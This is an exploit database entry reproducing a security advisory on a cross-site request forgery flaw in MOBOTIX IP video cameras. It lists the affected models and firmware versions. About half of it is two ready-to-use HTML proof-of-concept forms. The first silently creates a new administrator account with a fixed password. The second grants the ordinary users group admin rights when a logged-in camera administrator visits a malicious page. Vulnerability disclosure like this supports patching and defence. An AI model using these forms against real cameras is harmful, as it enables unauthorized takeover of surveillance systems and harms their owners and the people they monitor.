MOBOTIX Video Security Cameras - Cross-Site Request Forgery (Add Admin)

ID 1337DAY-ID-24986
Type zdt
Reporter LiquidWorm
Modified 2016-03-31T00:00:00


Exploit for hardware platform in category web applications

MOBOTIX Video Security Cameras CSRF Add Admin Exploit
Product web page:
Affected version: [Model]: D22M-Secure, [HW]: T2r1.1.AA, 520 MHz, 128 MByte RAM, [SW]: MX-V3.5.2.23.r3
                  [Model]: Q24M-Secure, [HW]: T2r3.1, 806 MHz, [SW]: MX-V4.1.10.28
                  [Model]: D14D-Secure, [HW]: T2r4.2b, 806 MHz, 256 MByte RAM, [SW]: MX-V4.1.4.70
                  [Model]: M15D-Secure, [HW]: T3r4.4, 806 MHz, [SW]: MX-V4.3.4.50
Summary: MOBOTIX is a German System Manufacturer of Professional Video
Management (VMS) and Smart IP Cameras. These cameras support all standard
features of MOBOTIX IP cameras like automatic object detection, messaging
via network and onboard or network recording. The dual lens thermal system
supports additionally a second optical video sensor with 6-megapixel resolution.
Desc: The application interface allows users to perform certain actions via
HTTP requests without performing any validity checks to verify the requests.
This can be exploited to perform certain actions with administrative privileges
if a logged-in user visits a malicious web site.
Tested on: Linux
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
Advisory ID: ZSL-2016-5312
Advisory URL:
Add admin user Testingus:
    <form action="" method="POST">
      <input type="hidden" name="user_name_0" value="admin" />
      <input type="hidden" name="user_group_0" value="admins" />
      <input type="hidden" name="user_passwd_a_0" value="***" />
      <input type="hidden" name="user_passwd_b_0" value="***" />
      <input type="hidden" name="user_name_2" value="Testingus" />
      <input type="hidden" name="user_group_1" value="admins" />
      <input type="hidden" name="user_passwd_a_2" value="l33tp4ss" />
      <input type="hidden" name="user_passwd_b_2" value="l33tp4ss" />
      <input type="hidden" name="sv_passwd_a" value="" />
      <input type="hidden" name="sv_passwd_b" value="" />
      <input type="hidden" name="super_pin_1" value="" />
      <input type="hidden" name="super_pin_2" value="" />
      <input type="hidden" name="save_config" value="Set" />
      <input type="submit" value="Submit" />
Add group 'users' to admin area:
    <form action="" method="POST">
      <input type="hidden" name="group_allow_guest_global" value="on" />
      <input type="hidden" name="group_allow_live_global" value="on" />
      <input type="hidden" name="group_allow_player_global" value="on" />
      <input type="hidden" name="group_allow_multiview_global" value="on" />
      <input type="hidden" name="group_allow_pda_global" value="on" />
      <input type="hidden" name="group_allow_mxcc_global" value="on" />
      <input type="hidden" name="group_allow_info_global" value="on" />
      <input type="hidden" name="group_allow_imagelink_global" value="on" />
      <input type="hidden" name="group_allow_api_global" value="on" />
      <input type="hidden" name="group_allow_image_setup_0" value="on" />
      <input type="hidden" name="group_allow_event_setup_0" value="on" />
      <input type="hidden" name="group_name_1" value="guests" />
      <input type="hidden" name="group_name_2" value="users" />
      <input type="hidden" name="group_allow_admin_2" value="on" />
      <input type="hidden" name="group_allow_image_setup_2" value="on" />
      <input type="hidden" name="group_allow_event_setup_2" value="on" />
      <input type="hidden" name="new_group" value="" />
      <input type="hidden" name="save_config" value="Set" />
      <input type="hidden" name="more_or_less" value="less" />
      <input type="submit" value="Submit" />

# [2018-03-14]  #